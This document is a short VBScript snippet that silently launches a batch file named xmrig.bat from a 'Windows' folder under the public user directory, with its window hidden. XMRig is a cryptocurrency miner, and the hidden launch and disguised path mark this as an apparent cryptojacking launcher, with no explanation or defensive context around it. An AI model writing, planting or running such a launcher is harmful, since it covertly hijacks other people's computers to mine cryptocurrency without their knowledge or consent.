Dim WinSh Set WinSh = CreateObject("WScript.Shell" ) WinSh.Run chr(34) & "%PUBLIC%\Windows\xmrig.bat" & Chr(34), 0 Set WinSh = Nothing